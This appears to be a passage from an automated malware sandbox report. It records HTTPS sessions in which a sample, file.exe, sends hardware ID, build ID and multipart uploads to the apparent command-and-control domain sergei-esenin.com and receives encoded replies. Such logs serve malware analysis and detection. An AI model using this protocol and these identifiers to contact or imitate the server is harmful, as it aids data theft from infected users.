Ascii: 250.71</span> <span class="cf-footer-separator sm:hidden">•</span> </span> <span class="cf-footer-item sm:block sm:mb-1"><span>Performance & security by</span> <a rel="noopener noreferrer" href="https://www.cloudflare.com/5xx-error-
2024-10-24 17:29:11 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49708	104.21.53.8	443	4500	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-24 17:29:11 UTC	354	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Cookie: __cf_mw_byp=d3Jso_adyzcO2B3lrCahXYqWRvy9dekC2vvMQ8t.O7o-1729790950-0.0.1.1-/api User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 52 Host: sergei-esenin.com
2024-10-24 17:29:11 UTC	52	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e 64 61 72 79 79 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=4SD0y4--legendaryy&j=
2024-10-24 17:29:12 UTC	1020	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 17:29:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=vpl83eds89c4aaigtl996idhcc; expires=Mon, 17 Feb 2025 11:15:51 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=d%2FJfG4LD4skR1UZ4O06kIowoK8KYDixfo4%2BG%2F1366c3ZoAHqJwA0pOFCMW5OSZV99pKSE0UPZ7I1zQhHW0QRcKQqMFS5YCc7qOrmCSYVHGFoEpiVVbCx7%2F850IF%2FEXspKF0V0A%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d7bb008de226c49-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1140&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2846&recv_bytes=1042&delivery_rate=2565101&cwnd=251&unsent_bytes=0&cid=7fc9662eb6a5e679&ts=532&x=0"
2024-10-24 17:29:12 UTC	349	IN	Data Raw: 34 34 36 63 0d 0a 39 4a 54 47 41 62 33 73 48 2f 6c 4c 53 55 4c 52 4e 72 59 43 44 56 56 33 42 42 6c 46 73 64 48 69 47 64 4b 57 35 74 58 45 71 6f 53 50 74 72 41 6a 68 39 67 7a 32 7a 67 73 59 4f 74 43 78 48 64 6f 65 56 56 6c 66 57 65 4c 74 34 4e 31 6f 66 50 4b 39 37 4c 48 70 73 37 79 70 32 33 4f 69 54 50 62 4c 6a 46 67 36 32 33 4e 49 47 67 37 56 54 34 37 49 4e 75 7a 67 33 57 77 39 34 32 36 74 4d 62 6e 6e 50 69 68 61 64 69 50 65 35 67 6e 4a 43 65 30 55 39 64 6f 59 7a 77 61 62 48 52 6e 6e 66 4f 48 59 2f 43 73 78 4a 69 68 33 75 57 35 39 62 56 71 6e 35 45 7a 67 6d 6b 73 4c 50 4d 4d 6c 47 4e 6f 4e 78 74 69 66 53 37 5a 75 59 70 39 73 66 4b 4d 70 61 33 4d 37 4a 7a 32 6f 6d 6a 53 68 6d 2b 56 4c 53 4d 73 73 6c 6e 58 49 43 46 33 45 6e 34 37 66 35 50 67 73 6e 69 68 35 Data Ascii: 446c9JTGAb3sH/lLSULRNrYCDVV3BBlFsdHiGdKW5tXEqoSPtrAjh9gz2zgsYOtCxHdoeVVlfWeLt4N1ofPK97LHps7yp23OiTPbLjFg623NIGg7VT47INuzg3Ww9426tMbnnPihadiPe5gnJCe0U9doYzwabHRnnfOHY/CsxJih3uW59bVqn5EzgmksLPMMlGNoNxtifS7ZuYp9sfKMpa3M7Jz2omjShm+VLSMsslnXICF3En47f5Pgsnih5
2024-10-24 17:29:12 UTC	1369	IN	Data Raw: 32 6f 6d 33 65 67 33 32 4a 49 53 41 72 74 6b 62 66 61 57 49 36 46 57 74 78 4b 4e 43 7a 68 33 47 36 2b 34 36 7a 71 38 58 67 6c 76 62 6b 4c 5a 2b 4a 5a 64 74 78 61 77 4f 32 52 4e 4e 73 65 58 55 76 4a 6d 52 70 79 76 4f 48 64 2f 43 73 78 4c 2b 6a 79 2b 57 64 2b 61 64 72 31 4a 78 39 69 53 38 6d 4a 61 46 53 30 57 35 6c 4e 41 64 73 64 53 48 51 75 6f 74 79 74 66 4f 41 39 2b 69 49 34 59 36 32 2f 43 50 2b 67 33 61 58 49 7a 77 67 38 30 75 61 65 53 38 77 47 53 59 6a 5a 39 65 79 68 48 71 30 2b 6f 71 7a 71 73 37 6f 6d 2f 6d 69 61 64 2b 4a 64 35 4d 68 4b 69 32 34 57 39 52 6c 59 6a 4d 54 61 6e 6f 69 6b 2f 33 41 66 4b 69 30 33 50 65 49 7a 2b 57 45 74 4a 46 67 30 59 42 36 6a 57 6b 30 62 71 6f 55 30 32 77 76 62 31 56 6f 66 69 6a 42 73 70 4a 2b 76 75 61 49 73 71 44 46 35 5a Data Ascii: 2om3eg32JISArtkbfaWI6FWtxKNCzh3G6+46zq8XglvbkLZ+JZdtxawO2RNNseXUvJmRpyvOHd/CsxL+jy+Wd+adr1Jx9iS8mJaFS0W5lNAdsdSHQuotytfOA9+iI4Y62/CP+g3aXIzwg80uaeS8wGSYjZ9eyhHq0+oqzqs7om/miad+Jd5MhKi24W9RlYjMTanoik/3AfKi03PeIz+WEtJFg0YB6jWk0bqoU02wvb1VofijBspJ+vuaIsqDF5Z
2024-10-24 17:29:12 UTC	1369	IN	Data Raw: 30 59 42 36 6a 57 6b 30 62 71 6f 55 30 32 77 76 62 31 56 71 63 69 66 59 75 59 52 37 74 2f 6d 42 74 4b 48 4c 36 35 48 38 71 6d 54 62 67 6e 53 57 4c 79 73 6e 74 31 48 47 5a 57 59 37 47 53 59 31 5a 39 53 72 77 43 50 77 32 34 4f 68 70 65 66 6c 68 2f 2f 6b 66 4a 47 58 50 5a 77 6c 61 33 6a 7a 55 39 46 6f 5a 44 45 64 5a 6d 6b 69 33 62 69 42 63 62 62 31 69 62 75 67 79 4f 65 57 38 4b 68 6a 32 49 6c 76 69 53 77 74 4d 72 6b 55 6d 69 42 6f 4c 31 55 2b 4f 78 48 44 70 4a 46 74 38 73 47 48 75 61 6a 50 38 4e 62 70 36 6e 71 66 69 58 48 62 63 57 73 72 73 31 6a 54 61 47 6b 7a 48 57 6c 30 4c 73 47 79 6a 48 57 69 38 34 53 2b 71 4d 66 71 6e 2f 75 6a 62 74 53 45 63 4a 38 75 4b 6d 44 39 46 4e 4e 34 4c 32 39 56 55 47 73 71 33 35 32 4c 64 37 6d 30 6d 2f 6d 2f 69 4f 47 61 74 76 77 Data Ascii: 0YB6jWk0bqoU02wvb1VqcifYuYR7t/mBtKHL65H8qmTbgnSWLysnt1HGZWY7GSY1Z9SrwCPw24Ohpeflh//kfJGXPZwla3jzU9FoZDEdZmki3biBcbb1ibugyOeW8Khj2IlviSwtMrkUmiBoL1U+OxHDpJFt8sGHuajP8Nbp6nqfiXHbcWsrs1jTaGkzHWl0LsGyjHWi84S+qMfqn/ujbtSEcJ8uKmD9FNN4L29VUGsq352Ld7m0m/m/iOGatvw
2024-10-24 17:29:12 UTC	1369	IN	Data Raw: 35 51 6f 4c 79 57 32 55 4e 4e 6b 61 54 68 56 4b 44 73 67 79 2f 50 59 4f 35 2f 54 73 66 57 48 38 71 61 4a 75 4c 30 6a 32 49 49 39 77 32 6b 6e 49 37 39 63 32 32 5a 6d 4f 78 39 76 63 43 76 59 74 34 78 79 74 66 4b 46 73 71 50 4a 34 70 72 38 6f 6d 44 63 67 58 4b 55 49 57 74 75 38 31 50 4d 49 44 64 33 4d 48 46 77 4b 64 58 7a 6e 7a 57 70 74 49 4f 37 35 70 43 6d 6d 76 2b 69 5a 64 71 43 66 4a 30 68 4c 69 69 33 56 64 4a 6d 62 44 67 52 59 33 6f 6f 31 37 2b 4f 63 62 48 31 69 4c 79 70 77 2b 50 57 75 4f 52 6b 78 38 34 6c 32 78 67 6f 4e 71 52 45 32 43 42 77 65 51 77 6d 66 43 75 54 36 38 42 36 6f 76 36 4f 75 61 50 48 34 35 58 35 6f 32 37 5a 67 6e 65 53 49 53 30 76 75 6b 62 58 62 47 45 77 47 32 70 31 4b 74 6d 77 6a 54 76 2b 74 49 4f 76 35 70 43 6d 75 76 47 70 54 64 53 43 Data Ascii: 5QoLyW2UNNkaThVKDsgy/PYO5/TsfWH8qaJuL0j2II9w2knI79c22ZmOx9vcCvYt4xytfKFsqPJ4pr8omDcgXKUIWtu81PMIDd3MHFwKdXznzWptIO75pCmmv+iZdqCfJ0hLii3VdJmbDgRY3oo17+OcbH1iLypw+PWuORkx84l2xgoNqRE2CBweQwmfCuT68B6ov6OuaPH45X5o27ZgneSIS0vukbXbGEwG2p1KtmwjTv+tIOv5pCmuvGpTdSC
2024-10-24 17:29:12 UTC	1369	IN	Data Raw: 6b 79 38 78 71 55 5a 33 64 33 54 53 5a 4e 49 4d 4f 6a 67 7a 6d 42 34 6f 65 68 72 63 58 71 31 75 6e 71 65 70 2b 4a 63 64 74 78 61 79 61 38 58 64 64 76 62 6a 34 5a 61 33 34 75 31 72 4b 47 66 37 72 2b 68 4c 47 67 79 65 4f 63 39 61 56 70 31 6f 6c 31 6e 43 6f 35 59 50 30 55 30 33 67 76 62 31 56 50 66 44 58 64 6f 38 42 6b 2f 75 33 45 73 4b 71 49 76 74 62 79 72 6d 7a 62 69 58 47 64 4c 43 30 74 73 6c 76 56 59 47 41 7a 48 6d 39 39 4a 74 36 32 6a 58 2b 69 2f 6f 2b 34 71 73 48 71 6d 37 62 71 49 39 69 57 50 63 4e 70 47 69 32 39 57 74 4e 32 4c 79 68 62 66 7a 73 67 33 2f 50 59 4f 37 48 34 69 37 53 70 79 2b 57 58 2f 4c 5a 78 30 34 64 31 6e 69 55 67 4c 72 56 47 30 6d 39 6d 4e 42 5a 76 66 43 2f 66 75 59 4e 38 38 4c 72 45 73 4c 36 49 76 74 62 56 73 33 50 53 7a 6d 4c 56 4d Data Ascii: ky8xqUZ3d3TSZNIMOjgzmB4oehrcXq1unqep+Jcdtxaya8Xddvbj4Za34u1rKGf7r+hLGgyeOc9aVp1ol1nCo5YP0U03gvb1VPfDXdo8Bk/u3EsKqIvtbyrmzbiXGdLC0tslvVYGAzHm99Jt62jX+i/o+4qsHqm7bqI9iWPcNpGi29WtN2Lyhbfzsg3/PYO7H4i7Spy+WX/LZx04d1niUgLrVG0m9mNBZvfC/fuYN88LrEsL6IvtbVs3PSzmLVM
2024-10-24 17:29:12 UTC	1369	IN	Data Raw: 53 30 32 5a 68 4a 52 42 67 64 43 6a 61 75 6f 52 7a 73 2f 53 41 73 36 48 4e 35 5a 72 39 6f 32 44 51 69 6e 53 56 49 43 52 67 2f 52 54 54 65 43 39 76 56 55 64 67 4a 4e 2b 2b 77 47 54 2b 37 63 53 77 71 6f 69 2b 31 76 71 71 5a 74 2b 45 65 35 38 73 4c 53 71 32 56 4e 39 6a 59 44 4d 54 59 6e 51 6e 32 4c 71 42 66 62 58 2b 6a 37 47 72 79 2b 43 51 74 75 6f 6a 32 4a 59 39 77 32 6b 4c 4f 37 35 59 30 79 42 77 65 51 77 6d 66 43 75 54 36 38 42 77 76 50 43 44 74 36 76 4c 37 70 50 79 72 6d 62 66 68 6d 2b 54 4b 53 77 79 6f 56 54 64 5a 57 4d 30 46 57 4a 39 4c 74 57 77 68 44 76 2b 74 49 4f 76 35 70 43 6d 75 2f 71 6a 53 74 69 56 50 59 52 6e 4d 6d 43 30 57 4a 51 34 4c 7a 59 65 62 48 51 71 30 4c 57 44 63 4c 58 2b 68 62 43 75 78 66 53 56 2b 61 74 6e 33 34 46 37 6e 53 67 6b 4a 72 Data Ascii: S02ZhJRBgdCjauoRzs/SAs6HN5Zr9o2DQinSVICRg/RTTeC9vVUdgJN++wGT+7cSwqoi+1vqqZt+Ee58sLSq2VN9jYDMTYnQn2LqBfbX+j7Gry+CQtuoj2JY9w2kLO75Y0yBweQwmfCuT68BwvPCDt6vL7pPyrmbfhm+TKSwyoVTdZWM0FWJ9LtWwhDv+tIOv5pCmu/qjStiVPYRnMmC0WJQ4LzYebHQq0LWDcLX+hbCuxfSV+atn34F7nSgkJr
2024-10-24 17:29:12 UTC	1369	IN	Data Raw: 65 54 52 53 57 45 55 41 78 62 6d 48 61 37 66 6a 69 2f 66 6f 69 4f 6e 57 72 70 30 6a 31 6f 6c 6d 69 6a 38 6d 4d 4c 51 55 36 79 34 76 4c 31 55 2b 4f 78 4c 51 76 59 35 38 70 75 58 4a 6b 4c 44 43 34 59 62 78 73 32 79 66 77 44 32 64 61 58 4e 7a 2f 52 54 51 63 53 39 76 52 54 51 67 63 6f 44 6b 30 43 6d 76 75 70 33 33 73 49 69 2b 78 4c 6a 6b 63 5a 2f 57 50 64 77 71 4f 54 4b 31 56 38 4a 6a 4b 41 6b 72 51 57 45 71 31 61 53 52 52 59 37 7a 6e 72 71 67 33 2f 66 61 34 36 64 74 30 59 6c 72 32 32 64 72 4c 2f 4d 4d 37 53 41 6e 64 79 6f 6f 4f 7a 2b 54 36 38 42 4f 73 2f 71 4b 73 4c 44 5a 71 37 48 73 71 57 58 49 6e 7a 33 56 61 53 31 67 36 77 53 61 49 47 73 6d 56 54 34 72 64 59 6a 6d 30 79 7a 67 70 70 76 35 76 34 6a 77 31 71 37 32 4c 5a 2b 63 50 63 4e 70 62 43 4f 68 52 74 4a Data Ascii: eTRSWEUAxbmHa7fji/foiOnWrp0j1olmij8mMLQU6y4vL1U+OxLQvY58puXJkLDC4Ybxs2yfwD2daXNz/RTQcS9vRTQgcoDk0Cmvup33sIi+xLjkcZ/WPdwqOTK1V8JjKAkrQWEq1aSRRY7znrqg3/fa46dt0Ylr22drL/MM7SAndyooOz+T68BOs/qKsLDZq7HsqWXInz3VaS1g6wSaIGsmVT4rdYjm0yzgppv5v4jw1q72LZ+cPcNpbCOhRtJ
2024-10-24 17:29:12 UTC	1369	IN	Data Raw: 79 5a 6a 5a 34 76 7a 74 58 69 2b 2b 6f 4f 68 74 34 58 42 6d 50 47 6c 64 63 2b 5a 63 74 74 6e 61 79 62 7a 44 49 59 75 4c 7a 4d 45 4a 69 4e 33 67 65 6a 56 4b 4f 65 6b 31 71 6a 6f 30 61 61 41 74 76 77 78 6b 63 35 76 32 33 46 72 5a 37 42 47 78 6d 5a 73 49 52 59 68 52 52 6e 30 76 59 64 36 70 75 53 54 75 4f 6e 6d 30 4c 66 49 6d 6e 62 63 67 48 4f 63 50 7a 70 67 2f 52 54 62 49 44 63 4f 56 53 34 37 47 4a 33 7a 6d 44 76 6f 74 4c 47 30 71 4d 62 68 67 4f 66 70 52 4e 47 4a 66 49 30 35 50 43 2f 38 65 75 4a 42 4c 33 6c 56 59 44 74 2f 67 66 33 41 66 36 47 30 33 4f 66 30 6b 37 50 46 6f 66 51 78 77 4d 42 6b 32 7a 39 72 65 4f 45 61 6c 48 49 76 62 31 55 68 65 44 58 42 74 59 4e 74 73 37 4f 36 69 59 48 47 34 5a 66 67 74 47 37 54 72 33 36 4b 49 78 55 65 70 6c 66 61 62 6d 67 68 Data Ascii: yZjZ4vztXi++oOht4XBmPGldc+ZcttnaybzDIYuLzMEJiN3gejVKOek1qjo0aaAtvwxkc5v23FrZ7BGxmZsIRYhRRn0vYd6puSTuOnm0LfImnbcgHOcPzpg/RTbIDcOVS47GJ3zmDvotLG0qMbhgOfpRNGJfI05PC/8euJBL3lVYDt/gf3Af6G03Of0k7PFofQxwMBk2z9reOEalHIvb1UheDXBtYNts7O6iYHG4ZfgtG7Tr36KIxUeplfabmgh
2024-10-24 17:29:12 UTC	1369	IN	Data Raw: 53 52 67 6f 31 2f 70 75 47 48 70 36 48 32 32 4c 76 6b 6f 33 50 63 7a 46 47 63 4a 43 63 65 6a 57 50 46 5a 33 39 31 4d 32 56 74 4a 4a 50 39 77 47 50 77 72 4d 53 61 74 4d 2f 32 6c 62 53 49 5a 4e 4b 43 50 59 52 6e 4d 6d 43 6c 46 49 77 7a 49 58 63 48 4a 69 4e 6e 6c 4c 43 53 61 62 62 33 6b 72 54 68 39 74 69 37 35 4b 4e 7a 33 4d 78 4d 6c 69 30 39 4e 62 42 45 30 31 35 52 47 67 64 68 61 79 53 52 6c 72 6f 35 67 65 4b 48 74 36 6a 50 70 74 69 32 76 43 4f 48 7a 6c 43 4a 4c 6a 73 6a 38 58 48 75 49 6c 34 68 46 6d 5a 31 49 4a 4f 73 7a 6d 4c 77 34 73 54 76 39 59 61 6d 68 4c 62 38 49 35 69 41 63 4a 6f 71 4a 53 4f 68 52 74 4a 6a 65 54 52 53 57 45 55 49 32 4c 4b 51 64 71 48 35 67 4b 47 59 39 73 47 51 38 36 4e 64 34 62 6c 73 6e 44 6c 70 42 72 42 43 31 79 41 68 64 77 30 6d 49 Data Ascii: SRgo1/puGHp6H22Lvko3PczFGcJCcejWPFZ391M2VtJJP9wGPwrMSatM/2lbSIZNKCPYRnMmClFIwzIXcHJiNnlLCSabb3krTh9ti75KNz3MxMli09NbBE015RGgdhaySRlro5geKHt6jPpti2vCOHzlCJLjsj8XHuIl4hFmZ1IJOszmLw4sTv9YamhLb8I5iAcJoqJSOhRtJjeTRSWEUI2LKQdqH5gKGY9sGQ86Nd4blsnDlpBrBC1yAhdw0mI

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49709	104.21.53.8	443	4500	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-24 17:29:13 UTC	372	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 Cookie: __cf_mw_byp=d3Jso_adyzcO2B3lrCahXYqWRvy9dekC2vvMQ8t.O7o-1729790950-0.0.1.1-/api User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 12840 Host: sergei-esenin.com
2024-10-24 17:29:13 UTC	12840	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 44 46 38 36 34 46 34 46 32 32 43 44 46 35 45 34 45 34 42 30 45 36 39 34 39 42 37 38 34 36 30 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"CDF864F4F22CDF5E4E4B0E6949B78460--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-24 17:29:13 UTC	1019	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 17:29:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=1pjbneaqbi5vha1g2e59ul2idt; expires=Mon, 17 Feb 2025 11:15:52 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=d%2BKdRCGKdbMGOeQArRs4b7XzgR0MrSH%2BpffvVg1t0g5tXf3X9VI8M0FPus1OvezgUorER31jUSPNJPn9g%2FYVQr0jG%2Ft4HVocqhG9GXpWuVU81OVbNLX6qg82ODpn0cvkayF3ag%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d7bb0122982b00d-ATL alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=19987&sent=8&recv=17&lost=0&retrans=0&sent_bytes=2846&recv_bytes=13870&delivery_rate=145989&cwnd=32&unsent_bytes=0&cid=da4e01ca20e003b2&ts=555&x=0"
2024-10-24 17:29:13 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 31 0d 0a Data Ascii: 11ok 173.254.250.71
2024-10-24 17:29:13 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	49710	104.21.53.8	443	4500	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-24 17:29:14 UTC	372	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 Cookie: __cf_mw_byp=d3Jso_adyzcO2B3lrCahXYqWRvy9dekC2vvMQ8t.O7o-1729790950-0.0.1.1-/api User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 15082 Host: sergei-esenin.com
2024-10-24 17:29:14 UTC	15082	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 44 46 38 36 34 46 34 46 32 32 43 44 46 35 45 34 45 34 42 30 45 36 39 34 39 42 37 38 34 36 30 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"CDF864F4F22CDF5E4E4B0E6949B78460--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-24 17:29:15 UTC	1023	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 17:29:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=k1v5a5n96ccs4c9mdqu7974o7p; expires=Mon, 17 Feb 2025 11:15:53 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=n1zOcGT4UsV3bX5NBssGwPbGYWnRx48VduFl%2F8MK%2FK63O8sN9ikZPk%2FrFd5joSD09PXmrVR35pVaIrCY4PdJYDwQGiANSeF2qtiCVIcd2ydfjZlXLXs%2Ftpl1z3GEVSZL5a%2Bj7A%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d7bb01a2945462c-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1122&sent=10&recv=21&lost=0&retrans=0&sent_bytes=2846&recv_bytes=16112&delivery_rate=2635122&cwnd=251&unsent_bytes=0&cid=0ab5bf1db3c26f02&ts=600&x=0"
2024-10-24 17:29:15 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 31 0d 0a Data Ascii: 11ok 173.254.250.71
2024-10-24 17:29:15 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	49711	104.21.53.8	443	4500	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-24 17:29:16 UTC	372	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 Cookie: __cf_mw_byp=d3Jso_adyzcO2B3lrCahXYqWRvy9dekC2vvMQ8t.O7o-1729790950-0.0.1.1-/api User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20572 Host: sergei-esenin.com
2024-10-24 17:29:16 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 44 46 38 36 34 46 34 46 32 32 43 44 46 35 45 34 45 34 42 30 45 36 39 34 39 42 37 38 34 36 30 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"CDF864F4F22CDF5E4E4B0E6949B78460--be85de5ipdocierre1Content-Disposition: form-data; name="pid"3--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-24 17:29:16 UTC	5241	OUT	Data Raw: 5a 3e 93 af 35 13 92 cd 36 8a 95 d9 76 89 c4 4d c9 4d d9 5a b5 da 68 27 0c 46 c7 33 b7 ee 57 14 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 75 6e 20 0a e6 d6 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 ce 0d 46 c1 dc ba 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d6 b9 81 28 98 5b f7 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 3a 37 18 05 73 eb 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 58 e7 06 a2 60 6e dd 4f 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: Z>56vMMZh'F3Wun 4F([:7s~X`nO
